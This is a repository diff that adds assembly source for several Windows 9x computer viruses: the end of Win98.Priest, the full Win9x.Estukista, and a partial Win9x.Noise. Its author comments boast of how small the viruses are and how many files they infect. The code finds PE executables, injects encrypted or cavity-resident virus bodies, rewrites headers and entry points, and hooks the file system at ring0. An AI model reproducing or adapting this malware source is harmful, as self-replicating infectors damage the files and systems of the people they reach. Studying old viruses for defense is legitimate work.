ok_make_exe:
|
||||
mov al,''
|
||||
stosb
|
||||
mov dword ptr [ebp+WICHI],edi
|
||||
mov ax,'.*'
|
||||
stosw
|
||||
mov eax,'EXE'
|
||||
stosd
|
||||
call [ebp+ffind]
|
||||
mov [ebp+shand],eax
|
||||
cmp eax,-1
|
||||
je R_IP
|
||||
mov eax,0
|
||||
open_file:
|
||||
cmp byte ptr [ebp+DATAA+2ch+eax],'v'
|
||||
je NEXT_FILE
|
||||
cmp byte ptr [ebp+DATAA+2ch+eax],'n'
|
||||
je NEXT_FILE
|
||||
cmp byte ptr [ebp+DATAA+2ch+eax],'V'
|
||||
je NEXT_FILE
|
||||
cmp byte ptr [ebp+DATAA+2ch+eax],'N'
|
||||
je NEXT_FILE
|
||||
cmp byte ptr [ebp+DATAA+2ch+eax],0
|
||||
je open_file_start
|
||||
add eax,1
|
||||
jmp open_file
|
||||
open_file_start:
|
||||
mov edi,dword ptr [ebp+WICHI]
|
||||
mov ecx,20
|
||||
lea esi,[ebp+DATAA+2ch]
|
||||
repz movsb
|
||||
push 0
|
||||
push 0
|
||||
push 3
|
||||
push 0
|
||||
push 0
|
||||
push 0c0000000h
|
||||
lea eax,[ebp+exew]
|
||||
push eax
|
||||
call [ebp+create]
|
||||
mov [ebp+fhand],eax
|
||||
cmp eax,-1
|
||||
je File_Close
|
||||
mov ecx,400h
|
||||
lea edx,[ebp+heads]
|
||||
lea eax,[ebp+reads]
|
||||
push 0
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push dword ptr [ebp+fhand]
|
||||
call [ebp+rfile]
|
||||
cmp eax,0
|
||||
je File_Close
|
||||
cmp word ptr [ebp+heads],'ZM'
|
||||
jne File_Close
|
||||
xor eax,eax
|
||||
lea esi,[ebp+heads+3ch]
|
||||
lodsw
|
||||
add eax,ebp
|
||||
add eax,heads
|
||||
mov esi,eax
|
||||
lea ebx,[ebp+heads+400h]
|
||||
cmp eax,ebx
|
||||
jg File_Close
|
||||
cmp word ptr [eax],'EP'
|
||||
jne File_Close
|
||||
cmp dword ptr [eax+34h],400000h
|
||||
jne File_Close
|
||||
cmp word ptr [ebp+heads+12h],'^^'
|
||||
je File_Close
|
||||
cmp word ptr [esi+6],6
|
||||
jg File_Close
|
||||
xor ecx,ecx
|
||||
mov edi,esi
|
||||
mov cx,word ptr [esi+6]
|
||||
add edi,0f8h
|
||||
CHK_DATA:
|
||||
add edi,24h
|
||||
mov eax,dword ptr [edi]
|
||||
and eax,0c0000000h
|
||||
cmp eax,0c0000000h
|
||||
je OK_INFECT
|
||||
add edi,4h
|
||||
loop CHK_DATA
|
||||
jmp File_Close
|
||||
OK_INFECT:
|
||||
mov eax,[ebp+DATAA+20h]
|
||||
call F_SEEK
|
||||
mov edi,[esi+28h]
|
||||
pop ebx
|
||||
pop eax
|
||||
push eax
|
||||
push ebx
|
||||
add eax,offset OLDIP - Start_Virus
|
||||
mov dword ptr [eax],edi
|
||||
mov eax,offset End_Virus - Start_Virus
|
||||
mov ecx,[esi+3ch]
|
||||
add eax,ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
mul ecx
|
||||
add dword ptr [esi+50h],eax
|
||||
mov ecx,eax
|
||||
pop eax
|
||||
pop ebx
|
||||
mov edx,ebx
|
||||
push ebx
|
||||
push eax
|
||||
push ecx
|
||||
push ecx
|
||||
mov ecx,End_Virus - Start_Virus
|
||||
pushad
|
||||
push edx
|
||||
add edx,offset W_ENC - Start_Virus
|
||||
mov esi,edx
|
||||
lea ebp,[ebp+heads]
|
||||
add ebp,400h
|
||||
mov edi,ebp
|
||||
push edi
|
||||
mov cx,offset W_ENC_END - W_ENC
|
||||
repz movsb
|
||||
pop edi
|
||||
jmp edi
|
||||
r_body:
|
||||
popad
|
||||
pop ecx
|
||||
sub ecx,offset End_Virus - Start_Virus
|
||||
mov edx,400000h
|
||||
call fwrite
|
||||
mov eax,[ebp+DATAA+20h]
|
||||
mov ecx,[esi+3ch]
|
||||
mov edx,0
|
||||
div ecx
|
||||
push edx
|
||||
push eax
|
||||
mov edi,esi
|
||||
mov ax,word ptr [esi+6]
|
||||
sub eax,1
|
||||
mov ecx,28h
|
||||
mul ecx
|
||||
add eax,0f8h
|
||||
add edi,eax
|
||||
xor edx,edx
|
||||
mov eax,[edi+14h]
|
||||
mov ecx,[esi+3ch]
|
||||
div ecx
|
||||
pop edx
|
||||
sub edx,eax
|
||||
push edx
|
||||
mov eax,[edi+10h]
|
||||
sub eax,1
|
||||
add eax,ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
mov ebx,eax
|
||||
pop eax
|
||||
sub eax,ebx
|
||||
mul ecx
|
||||
pop edx
|
||||
add eax,edx
|
||||
add dword ptr [esi+50h],eax
|
||||
mov ebx,[edi+0ch]
|
||||
add ebx,[edi+10h]
|
||||
add ebx,eax
|
||||
mov [esi+28h],ebx
|
||||
pop ebx
|
||||
add ebx,eax
|
||||
add [edi+8h],ebx
|
||||
add [edi+10h],ebx
|
||||
mov [edi+24h],0c0000040h
|
||||
mov word ptr [ebp+heads+12h],'^^'
|
||||
mov eax,0
|
||||
call F_SEEK
|
||||
lea edx,[ebp+heads]
|
||||
mov ecx,400h
|
||||
call fwrite
|
||||
inc dword ptr chkif[ebp]
|
||||
File_Close:
|
||||
push dword ptr [ebp+fhand]
|
||||
call [ebp+close]
|
||||
cmp dword ptr chkif[ebp],6
|
||||
je CHG_DIR
|
||||
NEXT_FILE:
|
||||
lea eax,[ebp+DATAA]
|
||||
push eax
|
||||
push dword ptr [ebp+shand]
|
||||
call [ebp+nfind]
|
||||
cmp eax,0
|
||||
je CHG_DIR
|
||||
jmp open_file
|
||||
CHG_DIR:
|
||||
push dword ptr [shand+ebp]
|
||||
call [ebp+srchc]
|
||||
cmp dword ptr chkif[ebp],6
|
||||
je R_IP
|
||||
cmp dword ptr chkdi[ebp],1
|
||||
jg CHG_DIR_2
|
||||
add dword ptr chkdi[ebp],2
|
||||
push 100h-58h
|
||||
lea eax,[ebp+exew]
|
||||
push eax
|
||||
call [ebp+getw]
|
||||
or eax,eax
|
||||
je CHG_DIR_2
|
||||
jmp OK_EXE
|
||||
CHG_DIR_2:
|
||||
cmp dword ptr chkdi[ebp],2
|
||||
jg R_IP
|
||||
add dword ptr chkdi[ebp],1
|
||||
push 100h-58h
|
||||
lea eax,[ebp+exew]
|
||||
push eax
|
||||
call [ebp+gets]
|
||||
or eax,eax
|
||||
je R_IP
|
||||
jmp OK_EXE
|
||||
Scan_DATA:
|
||||
mov esi,400000h
|
||||
mov cx,600h
|
||||
Scan_PE:
|
||||
cmp dword ptr [esi],00004550h
|
||||
je R_CO
|
||||
inc esi
|
||||
loop Scan_PE
|
||||
R_IP:
|
||||
pop eax
|
||||
pop ebx
|
||||
jmp eax
|
||||
R_CO:
|
||||
ret
|
||||
FIND_SRC:
|
||||
mov esi,ebx
|
||||
X_M:
|
||||
cmpsb
|
||||
jne FIND_SRC_2
|
||||
cmp byte ptr [edi],0
|
||||
je R_CO
|
||||
jmp X_M
|
||||
FIND_SRC_2:
|
||||
inc cx
|
||||
cmp cx,[ebp+Limit]
|
||||
jge NOT_SRC
|
||||
add dword ptr [ebp+addname],4
|
||||
mov edi,[ebp+addname]
|
||||
mov edi,[edi]
|
||||
add edi,KER32
|
||||
jmp FIND_SRC
|
||||
NOT_SRC:
|
||||
pop esi
|
||||
jmp R_IP
|
||||
F_SEEK:
|
||||
push 0
|
||||
push 0
|
||||
push eax
|
||||
push dword ptr [ebp+fhand]
|
||||
call [ebp+fpoin]
|
||||
ret
|
||||
W_ENC:
|
||||
in al,40h
|
||||
xchg al,ah
|
||||
in al,40h
|
||||
add eax,edi
|
||||
add edi,offset ENCRY_E - W_ENC +1
|
||||
mov dword ptr [edi],eax
|
||||
pop edx
|
||||
add edx,offset KEY_CODE - Start_Virus +1
|
||||
mov dword ptr [edx],eax
|
||||
popad
|
||||
pushad
|
||||
mov esi,edx
|
||||
add esi,offset VIRUS_BODY - Start_Virus
|
||||
mov ecx,offset End_Virus - VIRUS_BODY -4
|
||||
call ENCRY_E
|
||||
popad
|
||||
pushad
|
||||
call fwrite
|
||||
popad
|
||||
pushad
|
||||
mov esi,edx
|
||||
add esi,offset VIRUS_BODY - Start_Virus
|
||||
mov ecx,offset End_Virus - VIRUS_BODY -4
|
||||
call ENCRY_E
|
||||
popad
|
||||
pushad
|
||||
add edx,offset r_body - Start_Virus
|
||||
jmp edx
|
||||
ENCRY_E:
|
||||
mov eax,00h
|
||||
ENCRY:
|
||||
xor dword ptr [esi],eax
|
||||
xchg al,ah
|
||||
ror eax,1
|
||||
inc esi
|
||||
loop ENCRY
|
||||
ret
|
||||
fwrite:
|
||||
push 0
|
||||
lea eax,[ebp+reads]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push dword ptr [ebp+fhand]
|
||||
call [ebp+white]
|
||||
ret
|
||||
W_ENC_END:
|
||||
cf db 'CreateFileA',0
|
||||
cl db '_lclose',0
|
||||
rf db 'ReadFile',0
|
||||
ff db 'FindFirstFileA',0
|
||||
fn db 'FindNextFileA',0
|
||||
wf db 'WriteFile',0
|
||||
sf db 'SetFilePointer',0
|
||||
gw db 'GetWindowsDirectoryA',0
|
||||
gs db 'GetSystemDirectoryA',0
|
||||
gc db 'GetCurrentDirectoryA',0
|
||||
fc db 'FindClose',0
|
||||
gp db 'GetProcAddress',0
|
||||
vn db 'Win98.Priest'
|
||||
db 'SVS/COREA/MOV'
|
||||
OLDIP dd F_END - 400000h
|
||||
End_Virus:
|
||||
F_END:
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
end Start_Virus
|
||||
|
1044
LegacyWindows/Win98.Yobe.24576.asm
Normal file
1044
LegacyWindows/Win98.Yobe.24576.asm
Normal file
File diff suppressed because it is too large
Load Diff
2248
LegacyWindows/Win9x.DarkMillennium.asm
Normal file
2248
LegacyWindows/Win9x.DarkMillennium.asm
Normal file
File diff suppressed because it is too large
Load Diff
231
LegacyWindows/Win9x.Estukista.asm
Normal file
231
LegacyWindows/Win9x.Estukista.asm
Normal file
@ -0,0 +1,231 @@
|
||||
|
||||
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; VIRUS_SIZE = 126 BYTES!!!!
|
||||
|
||||
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
|
||||
|
||||
; (NOT TESTED UNDER ME)
|
||||
|
||||
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
|
||||
|
||||
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
|
||||
|
||||
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
|
||||
|
||||
|
||||
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
|
||||
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
|
||||
|
||||
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
|
||||
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
|
||||
|
||||
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
|
||||
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
|
||||
|
||||
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
|
||||
|
||||
|
||||
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
|
||||
|
||||
|
||||
|
||||
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ÿÿÿÿ
|
||||
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
|
||||
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
|
||||
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D
|
||||
|
||||
; ....
|
||||
|
||||
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ׂ< PE L
|
||||
;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 •79 à ‚
|
||||
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00 " ¨ P
|
||||
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @ @ @
|
||||
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00
|
||||
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00 <20>
|
||||
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00
|
||||
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00
|
||||
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT Ô
|
||||
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00 ”
|
||||
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ÌR
|
||||
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00
|
||||
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0
|
||||
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 À
|
||||
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ À.idata
|
||||
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @ Ä
|
||||
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
|
||||
; ....
|
||||
|
||||
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00 È
|
||||
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ À.bss
|
||||
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P P
|
||||
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
|
||||
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
|
||||
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ À.rsrc
|
||||
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00 š ä
|
||||
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
|
||||
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
|
||||
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P À.data
|
||||
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00 € ¸
|
||||
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ àb<>ÿÿÿÿ
|
||||
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àb<>ðb<> <20>
|
||||
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00 @ ×+
|
||||
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b<>\b<> lb<>
|
||||
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
|
||||
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ÌÌÌ
|
||||
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ NE Œ
|
||||
|
||||
; ....
|
||||
|
||||
|
||||
.586P
|
||||
PMMX ; WORF... ... JEJEJE
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
|
||||
DB 0
|
||||
|
||||
DB 'SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
|
||||
MEGAMIX:
|
||||
; EAX: EIP
|
||||
; ESI: BUFFER
|
||||
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
|
||||
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
|
||||
;JMP KAA
|
||||
|
||||
MOV ECX,28000 ; LIMIT
|
||||
PUSHAD
|
||||
|
||||
AMIMELASUDA:
|
||||
|
||||
POPAD
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
|
||||
|
||||
WARNING:
|
||||
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
|
||||
RET
|
||||
|
||||
KAA:
|
||||
PUSHAD
|
||||
MOV AX, 3D02h ; open
|
||||
CALL [EDI]
|
||||
JC AMIMELASUDA
|
||||
XCHG EBX, EAX
|
||||
MOV EDX,ESI
|
||||
XOR ECX,ECX
|
||||
MOV CH,4H
|
||||
MOV AH, 3Fh ;read
|
||||
CALL [EDI]
|
||||
MOV EAX, [EDX+3Ch]
|
||||
ADD EAX,EDX
|
||||
MOV EDI,EAX
|
||||
PUSH 32
|
||||
POP ECX
|
||||
|
||||
DEPOTA:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B'; HEHEHEHE
|
||||
JE GOSTRO
|
||||
JMP DEPOTA
|
||||
GOSTRO:
|
||||
INC EDI
|
||||
PUSH EDI
|
||||
MOV ESI,EBP
|
||||
REP MOVSD
|
||||
MOV ESI,EDI
|
||||
POP EDI
|
||||
SUB EDI,EDX
|
||||
XCHG DWORD PTR [EAX+28H],EDI
|
||||
CMP DI,1024
|
||||
JB CLOZ
|
||||
ADD EDI,[EAX+34H]
|
||||
XCHG DWORD PTR [ESI-MONGORE],EDI
|
||||
|
||||
PUSH EBP
|
||||
POP EDI
|
||||
XOR EAX,EAX
|
||||
PUSHAD
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH,4H
|
||||
MOV AH,40H ; write
|
||||
CALL [EDI]
|
||||
CLOZ:
|
||||
MOV AH,3EH ; close
|
||||
CALL [EDI]
|
||||
JMP AMIMELASUDA
|
||||
|
||||
FILE_END:
|
||||
|
||||
DW 0 ;-P
|
||||
|
||||
MONGORE EQU 95 ; OLD_EIP
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
|
||||
|
||||
END MEGAMIX
|
276
LegacyWindows/Win9x.Noise.asm
Normal file
276
LegacyWindows/Win9x.Noise.asm
Normal file
@ -0,0 +1,276 @@
|
||||
|
||||
;
|
||||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; Noise ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; . I started to code an i-worm and i wanted to make something like a
|
||||
; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh
|
||||
; The name is due the little payload it has... that does realy noise!
|
||||
; That's my first ring0 virus. I don't like codin ring0, but here it is.
|
||||
; That's a research spezimen. Don't expect the ultimate ring0 virus...
|
||||
; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim).
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; . This is the source code of a VIRUS. The author is not responsabile
|
||||
; of any damage that may occur due to the assembly of this file. Use
|
||||
; it at your own risk.
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is
|
||||
; only for win9x, not nt not w2k).
|
||||
; . It infect in similar way like MiniR3 does. Uses free space in the
|
||||
; PE header. That's a cavity virus.
|
||||
; . All the data is INSIDE the code. Well... copyright is not inside :)
|
||||
; . It infects PE files in the user buffer when a write call is done.
|
||||
; That makes this virus not very efficient spreading.
|
||||
; . It has a kewl sound payload. Makes echo with internal speaker for
|
||||
; all disk operations ;)
|
||||
;
|
||||
; Greetz to Perikles for his tests ;) You're my best tester, you know...
|
||||
;
|
||||
;
|
||||
; The way of the bee
|
||||
;
|
||||
.486p
|
||||
locals
|
||||
.model flat,STDCALL
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
VxDCall macro vxd,service
|
||||
db 0cdh,20h
|
||||
dw service
|
||||
dw vxd
|
||||
endm
|
||||
|
||||
IFSMANAGER equ 40h
|
||||
|
||||
GETHEAP equ 0dh
|
||||
IFSAPIHOOK equ 67h
|
||||
|
||||
VSIZE equ vEnd-vBegin
|
||||
VSIZEROUND equ ((VSIZE/1024)+1)*1024
|
||||
|
||||
.DATA
|
||||
; dummy data
|
||||
db 'WARNING - This is a virus carrier - WARNING'
|
||||
|
||||
.CODE
|
||||
inicio:
|
||||
mov eax,VSIZE
|
||||
|
||||
vBegin label byte
|
||||
pushad
|
||||
mov al,byte ptr [esp+23h]
|
||||
sub esp,8
|
||||
mov ebp,esp
|
||||
|
||||
cmp al,0bfh
|
||||
jne NotWin9x
|
||||
|
||||
sidt qword ptr [ebp]
|
||||
mov esi,dword ptr [ebp+2]
|
||||
add esi,3*8
|
||||
push esi
|
||||
mov di,word ptr [esi+6]
|
||||
shl edi,10h
|
||||
mov di,word ptr [esi]
|
||||
push edi
|
||||
call @delta
|
||||
@deltaoffset:
|
||||
cpright db 'Bbbee/29a@Noise'
|
||||
@delta:
|
||||
pop eax
|
||||
sub eax,(offset @deltaoffset-offset ring0CodeInstaller)
|
||||
mov word ptr [esi],ax
|
||||
shr eax,10h
|
||||
mov word ptr [esi+6],ax
|
||||
int 3h
|
||||
|
||||
pop edi
|
||||
pop esi
|
||||
mov word ptr [esi],di
|
||||
shr edi,10h
|
||||
mov word ptr [esi+6],di
|
||||
|
||||
NotWin9x:
|
||||
add esp,8
|
||||
popad
|
||||
|
||||
push offset fakeHost
|
||||
hostEP equ $-4
|
||||
ret
|
||||
|
||||
ring0CodeInstaller:
|
||||
pushad
|
||||
|
||||
mov ebp,0bff70000h
|
||||
sub ebp,dword ptr [ebp]
|
||||
jz ReturnR3
|
||||
|
||||
push VSIZEROUND
|
||||
VxDCall IFSMANAGER,GETHEAP
|
||||
pop edi
|
||||
or eax,eax
|
||||
jz ReturnR3
|
||||
|
||||
mov edi,eax
|
||||
call @@delta
|
||||
@@delta:
|
||||
pop esi
|
||||
sub esi,(offset @@delta-offset vBegin)
|
||||
mov ecx,VSIZE
|
||||
rep movsb
|
||||
|
||||
mov dword ptr [delta-vBegin+eax],eax
|
||||
|
||||
push eax
|
||||
add eax,offset ring0Hook-offset vBegin
|
||||
push eax
|
||||
VxDCall IFSMANAGER,IFSAPIHOOK
|
||||
pop ebp
|
||||
pop edx
|
||||
mov dword ptr [edx+nextHookInChain-vBegin],eax
|
||||
|
||||
mov ebp,0bff70000h
|
||||
mov dword ptr [ebp],ebp
|
||||
|
||||
ReturnR3:
|
||||
popad
|
||||
iretd
|
||||
|
||||
ring0Hook:
|
||||
pop eax
|
||||
push ebp
|
||||
mov ebp,12345678h
|
||||
delta equ $-4
|
||||
mov dword ptr [returnAddr-vBegin+ebp],eax
|
||||
push edx
|
||||
mov edx,esp
|
||||
|
||||
pushad
|
||||
pushfd
|
||||
|
||||
mov ecx,0ffh
|
||||
counter equ $-4
|
||||
dec cl
|
||||
jz beep
|
||||
|
||||
mov ecx,dword ptr [edx+0ch]
|
||||
dec ecx
|
||||
jz checkFile
|
||||
|
||||
exitHook:
|
||||
popfd
|
||||
popad
|
||||
pop edx
|
||||
pop ebp
|
||||
|
||||
mov eax,12345678h
|
||||
nextHookInChain equ $-4
|
||||
call dword ptr [eax]
|
||||
|
||||
push 12345678h
|
||||
returnAddr equ $-4
|
||||
ret
|
||||
|
||||
checkFile:
|
||||
mov esi,dword ptr [edx+1ch]
|
||||
|
||||
mov cx,word ptr [esi]
|
||||
cmp ecx,VSIZEROUND
|
||||
jb exitHook
|
||||
|
||||
mov edi,dword ptr [esi+14h]
|
||||
|
||||
mov ebx,edi
|
||||
cmp word ptr [edi],'ZM'
|
||||
jne exitHook
|
||||
cmp ecx,dword ptr [edi+3ch]
|
||||
jb exitHook
|
||||
add edi,dword ptr [edi+3ch]
|
||||
cmp word ptr [edi],'EP'
|
||||
jne exitHook
|
||||
|
||||
mov edx,dword ptr [edi+16h]
|
||||
test edx,2h
|
||||
jz exitHook
|
||||
and edx,2000h
|
||||
jnz exitHook
|
||||
mov dx,word ptr [edi+5ch]
|
||||
dec edx
|
||||
jz exitHook
|
||||
|
||||
mov esi,edi
|
||||
mov eax,18h
|
||||
add ax,word ptr [edi+14h]
|
||||
add edi,eax
|
||||
|
||||
movzx ecx,word ptr [esi+06h]
|
||||
mov ax,28h
|
||||
mul cx
|
||||
add edi,eax
|
||||
|
||||
mov ecx,VSIZE
|
||||
xor eax,eax
|
||||
pushad
|
||||
rep scasb
|
||||
popad
|
||||
jnz exitHook
|
||||
|
||||
add dword ptr [esi+54h],ecx
|
||||
|
||||
push edi
|
||||
sub edi,ebx
|
||||
xchg edi,dword ptr [esi+28h]
|
||||
mov eax,dword ptr [esi+34h]
|
||||
add edi,eax
|
||||
mov dword ptr [hostEP-vBegin+ebp],edi
|
||||
pop edi
|
||||
|
||||
mov esi,ebp
|
||||
